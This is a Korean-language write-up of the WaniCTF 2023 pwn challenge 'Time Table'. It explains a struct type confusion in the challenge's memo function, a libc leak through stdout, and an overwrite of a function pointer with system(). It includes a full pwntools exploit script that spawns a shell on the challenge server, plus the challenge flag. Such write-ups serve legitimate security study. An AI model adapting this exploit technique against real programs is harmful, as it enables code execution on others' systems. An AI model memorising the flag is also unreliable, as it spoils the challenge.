Wani CTF 2023 - Time Table (type confusion)

Is your timetable alright?
nc timetable-pwn.wanictf.org 9008
Writer : EBeb

  • [33 solves / 294 points]

처음 풀어보는 Type Confusion 유형.
내가 아는 Type Confusion은 UAF와 결합되어 있었는데 이건 아니었다. 풀어보니 생각보다 풀만해서 놀랐다.
다 풀고 나서 롸업을 세 개 봤는데 똑같은 취약점을 이용했으나 익스방법이 나와 조금씩 달랐다.

Analysis

소스코드가 다 주어져있어서 차근차근 읽어보면 된다. 일단 문제 바이너리를 실행해보면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
WELCOME TO THE TIME TABLE PROGRAM
Enter your name : aaaa
Enter your student id : 1
Enter your major : 1

MON TUE WED THU FRI
1 (null) (null) (null) (null) (null)
2 (null) (null) (null) (null) (null)
3 (null) (null) (null) (null) (null)
4 (null) (null) (null) (null) (null)
5 (null) (null) (null) (null) (null)

1. Register Mandatory Class
2. Register Elective Class
3. See Class Detail
4. Write Memo
5. Exit
>

처음에 name, id, major를 입력하고 시간표로 보이는 것을 출력한 후, exit을 제외하고 4가지의 기능을 실행할 수 있도록 되어있다. 먼저 register와 관련된 기능을 살펴봤을 때 mandatory_subjectelective_subject 구조체가 보였다. 그리고 4번 메뉴가 수상해 보여서 해당 함수도 함께 봤다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void register_mandatory_class() {
int i;
mandatory_subject choice;
print_table(timetable);
printf("-----Mandatory Class List-----\n");
print_mandatory_list();
printf(">");
scanf("%d", &i); // 음수 가능
choice = mandatory_list[i]; // oob ?

printf("%d\n", choice.time[0]);
timetable[choice.time[0]][choice.time[1]].name = choice.name;
timetable[choice.time[0]][choice.time[1]].type = MANDATORY_CLASS_CODE;
timetable[choice.time[0]][choice.time[1]].detail = &mandatory_list[i];
}

void register_elective_class() {
int i;
elective_subject choice;
print_table(timetable);
printf("-----Elective Class List-----\n");
print_elective_list();
printf(">");
scanf("%d", &i);
choice = elective_list[i];
if (choice.IsAvailable(&user) == 1) {
timetable[choice.time[0]][choice.time[1]].name = choice.name;
// The type of timetable is 0 by default since it is a global value.
timetable[choice.time[0]][choice.time[1]].detail = &elective_list[i];
} else {
printf("You can't register this class\n");
}
}

register_elective_class 함수에서 choice.IsAvailable(&user)를 실행하는 부분이 있다. user는 프로그램 맨 처음 나의 입력값이다. elective_subject 구조체 안에 함수포인터가 있음을 확인했다. (만약 이 함수포인터를 덮을 수 있다면, system 함수로 덮고, 인자로 들어간 나의 입력값 user/bin/sh를 넣어야겠다.)

1
2
3
4
5
6
7
8
9
10
void write_memo() {
comma *choice = choose_time(timetable);
printf("WRITE MEMO FOR THE CLASS\n");

if (choice->type == MANDATORY_CLASS_CODE) {
read(0, ((mandatory_subject *)choice->detail)->memo, 30);
} else if (choice->type == ELECTIVE_CLASS_CODE) {
read(0, ((elective_subject *)choice->detail)->memo, 30);
}
}

choice->type을 기준으로 memo에 30글자 입력한다. 여기서 만약 Type confusion이 발생한다면 본래는 mandatory_subject인데 elective_subject으로 착각해서 elective_subject 구조체에 입력을 하게 될 것이다. 구조체 offset을 살펴보고 유의미한 위치에 쓰기를 할 수 있는지 생각해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
char *name; // 0~8
int time[2]; // 8~16
char *target[4]; // 16~48
char memo[32]; // 48~80
char *professor; // 80~88
} mandatory_subject;

typedef struct {
char *name; // 0~8
int time[2]; // 8~16
char memo[32]; // 16~48
char *professor; // 48~56
int (*IsAvailable)(student *); // 56~64
} elective_subject;

주석으로 offset을 적어놨다. mandatory_subject 구조체의 memo는 48번째에 위치한다. elective_subject 구조체의 48번째는 *proffesor이다. write_memo 함수에서 30바이트를 쓸 수 있었으니 뒤의 함수포인터를 덮을 수 있다.

elective_subject 구조체를 mandatory_subject 구조체로 헷갈리고 memo를 작성하게 된다면 elective_subject 구조체의 함수 포인터를 덮어 register_elective_class 함수에서 함수 포인터를 실행시켜 흐름을 변경할 수 있을 것이다.

그 전에 libc leak을 해야하는데 leak도 Type confusion을 이용해서 할 수 있다. 반대로 Type confusion을 일으키면 된다. 구조를 print하는 기능이 있어서 leak이 가능하다.

mandatory_subject 구조체를 elective_subject 구조체로 헷갈리고 memo를 작성하게 된다면 mandatory_subject 구조체에서 *target[4]을 덮게 된다. 여기에 GOT가 저장된 주소를 적고 구조를 print해주는 print_mandatory_subject 함수에서 GOT가 출력될 것이다.

하지만 난 이 방법은 사용하지 않고 함수 포인터를 덮는 과정에서 _IO_2_1_stdout_전까지 입력값을 주어 print_elective_subject 함수에서 memo를 출력할 때 GOT가 같이 출력되도록 했기 때문에 보다 편하게 libc address를 구할 수 있었다.

1
2
0x405250 <elective_list+112>:   0x6161616161616161      0x6262626262626262
0x405260 <stdout@GLIBC_2.2.5>: 0x00007faa16da05a0 0x0000000000000000

마지막으로 사실 register_elective_class 함수를 실행시키기 위해서는 조건이 하나 필요하다. 바로 맨 처음에 입력하는 name, id, major에서 idmajor가 특정 값 이상이거나 이하여야 한다는 조건이 있다. 이 조건을 가장 먼저 맞춰주어야 한다.

Solve

  1. name에는 /bin/sh, id에는 2000, major에는 100을 입력
  2. libc leak : write_memo를 이용하여 stdout 전까지 입력 후, print_elective_subject 함수에서 구조 출력하여 _IO_2_1_stdout_ 구함
  3. 함수 포인터 덮기 : write_memo를 이용하여 함수 포인터 offset 자리에 system 함수 주소 넣기
  4. 함수 포인터가 실행될 수 있도록 register_elective_class 실행

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

# p = process('./chall')
p = remote('timetable-pwn.wanictf.org', 9008)
e = ELF('./chall')
libc = e.libc

def write_memo(memo):
p.sendlineafter('>', '4')
p.sendlineafter('>', 'FRI 3')
# pause()
p.sendafter('WRITE MEMO FOR THE CLASS\n', memo)

def see_class():
p.sendlineafter('>', '3')
p.sendlineafter('>', 'FRI 3')

# elective_subject를 mandatory_subject로 헷갈리게 해서
# memo[32]를 적을 때 함수 포인터를 넣어서
# elective_subject.student 함수 포인터를 수정할 수 있도록 하기
p.sendlineafter('name :', '/bin/sh')
p.sendlineafter('id :', '2000')
p.sendlineafter('major :', '100')


# mandatory_subject
p.sendlineafter('>', '1')
p.sendlineafter('>', '1')

# elective_subject
p.sendlineafter('>', '2')
p.sendlineafter('>', '1')

# elective_subject를 mandatory_subject로 헷갈리게 해서
# mandatory_subject의 memo[32]에 적는 줄 알고
# elective_subject의 memo[32]에 적을 것 같음
# payload = p64(e.got['printf'])
payload = b'a'*8
payload += b'b'*8 # 'b'*8이 함수포인터에 들어감
write_memo(payload)

# leak
see_class()

p.recvuntil('b')
libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# libc.address = libc_leak - libc.symbols['_IO_2_1_stdout_']
info(hex(libc_leak))
# info(hex(libc.address))

# func pointer -> system ..
# payload = b'a'*8
# system = libc.address + libc.symbols['system']
system = libc_leak -0x1c9a20

payload = p64(system) * 2
write_memo(payload)


# register_elective_class
pause()
p.sendlineafter('>', '2')
p.sendlineafter('>', '1')

p.interactive()

Flag

1
FLAG{Do_n0t_confus3_mandatory_and_el3ctive}